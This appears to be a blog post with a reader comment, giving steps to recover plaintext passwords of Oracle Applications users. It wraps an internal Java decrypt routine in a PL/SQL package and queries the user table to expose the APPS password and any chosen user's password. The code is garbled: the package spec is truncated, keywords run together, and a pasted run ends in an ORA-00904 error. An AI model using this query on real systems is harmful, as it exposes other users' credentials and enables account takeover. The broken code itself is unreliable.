Simple Steps to Find Password for an Application User in Oracle Applications
a small package and run a query which I wrote below:
VARCHAR2)
VARCHAR2;
Step 2: Create Package Body
CREATE OR REPLACE PACKAGE BODY get_pwd
AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_pwd;
/
Step 3: Query to execute
SELECTusr.user_name,
get_pwd.decrypt
((SELECT (SELECTget_pwd.decrypt
(fnd_web_sec.get_guest_username_pwd,
usertable.encrypted_foundation_password
)
FROM DUAL) ASapps_password
FROMfnd_userusertable
WHEREusertable.user_name =
(SELECT SUBSTR
(fnd_web_sec.get_guest_username_pwd,
1,
INSTR
(fnd_web_sec.get_guest_username_pwd,
'/'
)
- 1
)
FROM DUAL)),
usr.encrypted_user_password
) PASSWORD
FROMfnd_userusr
WHEREusr.user_name = '&USER_NAME';
SQL> /
(fnd_web_sec.get_guest_username_pwd,
*
ERROR at line 4:
ORA-00904: "FND_WEB_SEC"."GET_GUEST_USERNAME_PWD": invalid identifier
Thanks for writing such a good article, I stumbled onto your blog and read a few entries. I like your style of writing.
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